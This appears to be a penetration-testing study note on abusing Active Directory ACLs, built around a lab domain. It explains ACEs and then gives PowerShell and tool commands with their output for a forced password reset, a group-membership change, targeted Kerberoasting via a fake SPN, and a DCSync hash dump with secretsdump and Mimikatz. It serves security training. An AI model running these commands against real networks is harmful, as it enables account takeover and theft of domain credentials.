๐Ÿ›‚Access Control List (ACL)

Access Control List Abuse Primer

For security not all users and computers in an AD environment can access all objects and files.

These types of permissions are controlled through ACLs. A slight misconfiguration can leak permission to other objects that don't need it.

ACL Overview

ACLs are lists that define who has access to which resource and the levels of access they are granted. The settings in an ACL are Access Control Entries (ACEs), each ACE maps back to a user, group, or process and defines the right granted to it.

ACL Types

Discretionary Access Control List (DACL)

  • Made up of ACEs that either allow/ deny access.

  • Defines which security principles are granted or denied access to an object.

System Access Control Lists (SACL)

  • Allow admins to log access attempts made to secured objects

Access Control Entries (ACEs)

ACLs contain ACE entries that name a user or group and the level of access they have over a given securable object.

Main ACE types

Each ACE is made up of four components

  1. The Security Identifier (SID) of the user/group that has access to the object

  2. A flag denoting the type of ACE (access denied/ allowed or system audit ACE)

  3. A set of flags that specify if child containers/objects can inherit given ACE entry from the primary or parent object

  4. An access mask which is a 32 bit values that defined the rights granted to an object

Access Denied

  • Used within a DACL to show a user or group that is denied access to an object

Access Allowed

  • Used within a DACL to show a user or group that is granted access to an object

System Audit

  • Used within a SACL to generate audit logs when a user or group attempt to access an object

  • It can record whether access was granted or not and what type of access occured.

Why ACEs are Important

As an attacker we can use ACE entries to either further access or establish persistance.

Many organizations are unaware of the ACEs applied to each object and the impact a misconfiguration of these ACEs can have. We cannot use vulnerability scanning tools to detect these so they often go unchecked for many years.

ACL abuse can be a great way to move laterally/ vertically and even comprimised the domain. These can be enumerated using BloodHound and are abusable with PowerView

  • ForceChangePassword abused with Set-DomainUserPassword

  • Add Members abused with Add-DomainGroupMember

  • GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

  • GenericWrite abused with Set-DomainObject

  • WriteOwner abused with Set-DomainObjectOwner

  • WriteDACL abused with Add-DomainObjectACL

  • AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember

  • Addself abused with Add-DomainGroupMember

ACL Attack Examples

  • ForceChangePassword - gives us the right to reset a user's password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).

  • GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.

  • AddSelf - shows security groups that a user can add themselves to.

  • GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.

ACL Attacks in the Wild

There are many attack scenarios in the world, but here are three of the most common attack

Abusing forgot password permissions

Help Desk and other IT users are often granted permissions to perform password resets and other privileged tasks. If we can take over an account with these privileges we may be able to perform a password reset for a more privileged account in the domain.

Abusing group membership management

It's also common to see Help Desk and other staff that have the right to add/remove users from a given group. It is always worth enumerating this further, as sometimes we may be able to add an account that we control into a privileged built-in AD group or a group that grants us some sort of interesting privilege.

Excessive user rights

We also commonly see user, computer, and group objects with excessive rights that a client is likely unaware of. This could occur after some sort of software install (Exchange, for example, adds many ACL changes into the environment at install time) or some kind of legacy or accidental configuration that gives a user unintended rights. Sometimes we may take over an account that was given certain rights out of convenience or to solve a nagging problem more quickly.

Some ACL attacks are considered "destructive" such as changing a users password. If in doubt we should run the attack by our client before performing it.

We should always document our attacks from start to finish and revert any changes.

ACL Enumeration

We can use PowerView to enumerate ACLs

Using Find-InterestingDomainAcl

Find-InterestingDomainAcl

Targeted Enumeration

While the above is perfectly possible to find the correct information it's much quicker to perform target enumeration.

Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley

Using Get-DomainObjectACL

We can use the Get-DomainObjectACL function to perform our search.

Below we use the function to find all domain objects that our user has rights over by using the user's SID.

Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}

Performing a Reverse Search & Mapping to a GUID Value

We could google for the GUID value to find what it does or run a reverse search using PowerShell

$guid= "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl

Using the -ResolveGUIDs Flag

This is highly inefficient to do so we can make use of PowerViews ResolveGUIDs flag. This will show us the ObjectAceType in a human readable form

If we look at the ObjectAceType property we will see what it is set to

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} 

Creating a List of Domain Users

We can get ACL information for a domain user

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

A useful foreach Loop

If we use a for loop we can ACL information for each domain user by passing each line from our list we created above to Get-ADUser

We can then select the property we want to search for Access property in this case which will give information about access rights.

Then we can set the IdentityReference property to the user we are in control of

foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl  "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

Investigating a Group with Get-DomainGroup

We can further enumerate a specfic user

Get-DomainGroup -Identity "Help Desk Level 1" | select memberof

Investigating Get-DomainObjectACL

$itgroupsid = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose

Looking for Interesting Access

$adunnsid = Convert-NameToSid adunn 
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose

Enumerating ACLs with BloodHound

We can use BloodHound to achieve everything above in a much faster, efficient and easier way. Let's say we gathered data from SharpHound and have uploaded it to BloodHound. We can set the current user wley in this case as our starting node.

Viewing Node Info

We can select the Node Info tab and scroll down to Outbound Control Rights. This will show us what objects we have control over directly via group membership and the number of object our user could lead us controlling via ACL attack paths.

Viewing Potential Attack Paths

If we click on the Transient Object Control tab we will see the entire path enumerated.

Viewing Pre-Build Queries

We can click on any of the pre-built queries to see what rights the user had.

Abusing ACLS

Let's say we are in control of a user whose NTLMv2 hash we retrieved from Responder, we managed to crack their hash offline and got a cleartext password. We can use this to take control of a more powerful user.

The attack chain would be as follows:

  1. Use our cracked user to change the password for the intended user we want to take over

  2. Authenticate as the targeted user and leverage GenericAll rights to a user that we control to the targeted group

  3. Take advantage of nested group membership in the targeted group and leverage GenericAll rights to take control of the user capable of performing a DCSync attack.

In this example, we take our cracked user wley and force change the password of the user dmudsen. We can start by opening PowerShell and authenticating as wley.

Creating a PSCredential Object

$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) 

Next, we create a SecureString object which represents the password we want to set for the target user damundsen.

Creating a SecureString Object

$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

Finally, we'll use the Set-DomainUserPassword PowerView function to change the user's password.

We need to use the -Credential flag with the credential object we created for the wley user. We also set the -Verbose flag to get feedback on the command.

We can also do this from Linux using a tool such as pth-netfrom the pth-toolkit.

Changing the User's Password

cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset

We can see the command ran and completed, changing the password for the target user while using the credentials we specified for the wley user that we control.

Creating a SecureString Object using damundsen

$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword) 

Adding damundsen to the Help Desk Level 1 Group

We can first confirm that our user is not a member of the target group. This could also be done from a Linux host using the pth-toolkit.

Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members

CN=Stella Blagg,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
... SNIP ...
CN=Dagmar Payne,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL

Next, we can use the Add-DomainGroupMember function to add ourselves to the target group.

We need to perform a similar process to authenticate as the damundsen user and add ourselves to the Help Desk Level 1 group.

Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'

Confirming damundsen was Added to the Group

We can quickly check to see the user was added to the group successfully

Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

MemberName
----------
busucher
spergazed

<SNIP>

damundsen
dpayne

At this point, we should be able to leverage our new group membership to take control of the adunn user.

We can perform a targeted Kerberoasting attack by modifying the account's servicePrincipalName attribute to create a fake SPN that we can then Kerberoast to obtain the TGS ticket and try to crack the hash offline using Hashcat.

We must be authenticated as a member of the Information Technology group for this to be successful. Since we added our user we inherited rights via nested group membership.

Creating a Fake SPN

We can now use Set-DomainObject to create the fake SPN. We could use the tool targetedKerberoast to perform this same attack from a Linux host, and it will create a temporary SPN, retrieve the hash, and delete the temporary SPN all in one command.

Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'notahacker/LEGIT' for object 'adunn'

If this worked, we should be able to Kerberoast the user and obtain the hash for offline cracking

Kerberoasting with Rubeus

.\Rubeus.exe kerberoast /user:adunn /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target User            : adunn
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1


[*] SamAccountName         : adunn
[*] DistinguishedName      : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : notahacker/LEGIT
[*] PwdLastSet             : 3/1/2022 11:29:08 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/LEGIT@INLANEFREIGHT.LOCAL*$ <SNIP>

We have successfully obtained the hash which we can attempt to crack the password offline using Hashcat. Once we have the cleartext password we can authenticate as the adunn user and perform the DCSync attack.

Cleaning Up

To clean up after ourselves we should

  1. Remove the fake SPN we created

    1. Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
  2. Remove the user we added to the group

    1. Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
  3. Set the password value from the user back to its original value

DCSync Attack

A technique used for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol. This is used by DCs to replicate domain data. This allows an attacker to mimic a DC to retrieve NTLM password hashes.

The attack works by requesting a DC to replicate password via the DS-Replication-Get-Changes-All extended right.

To perform this attack we must have control over an account that has the rights to perform domain replication. Domain/ Enterprise admins have this right by default.

Viewing a User's Replication Privileges through ADSI Edit

Using Get-DomainUser to View a Group Membership

We can use PowerView to confirm the user has the necessary permissions assigned to their account.

Get-DomainUser -Identity adunn  |select samaccountname,objectsid,memberof,useraccountcontrol |fl

samaccountname     : adunn
objectsid          : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof           : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
                     Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Using Get-ObjectAcl to Check User's Replication Rights

We can use the user's SID from the previous command and check all ACLs set on the domain object. We can search for specific replication rights and check if our user has the correct rights.

$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-498
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-516
ObjectAceType         : DS-Replication-Get-Changes-All

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-In-Filtered-Set

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-All

If we had the right over the user such as WriteDacl we could add this privilege to a user under our control, run the DCSync attack and then remove the privilege to cover our tracks.

Extract NTLM Hashes and Kerberos Keys Using secretsdump.py

This tool will write all hashes to a file with the prefix we set, in this case; "inlanefreight_hashes"

  • -just-dc: Only extract NTLM hashes and keys from the NTDS file

  • -just-dc-ntlm: Only extract NTLM hashes

  • -just-dc-user <USERNAME>: Only extract data for the supplied user

  • -user-status: Check to see if the user is disabled or not

 secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 

Viewing an Account with Reversible Encryption Password Storage Set

If this option is set on a user account, it does mean that passwords are stored in clear text. Instead, they are stored using RC4 encryption. Any passwords set on accounts with this setting will be stored using reversible encryption. We can enumerate this with the command below.

image

Enumerating Further using Get-ADUser

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

Checking for Reversible Encryption Option using Get-DomainUser

We can pass this user to Get-DomainUser to check if it has reversible encryption

 Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Using runas.exe

Many companies will use reversible encryption as they want to be able to dump the NTDS and perform password strength audits easily. We can perform an attack with Mimikatz to target a specific user. We can run it in the context of the user who has DCSync privileges, we can use runas.exe to do this.

runas /netonly /user:INLANEFREIGHT\adunn powershell

Performing the Attack with Mimikatz

With our spawned PowerShell in the correct context we can run Mimikatz

.\mimikatz.exe
privilege::debug
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

...
Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf

Last updated

Was this helpful?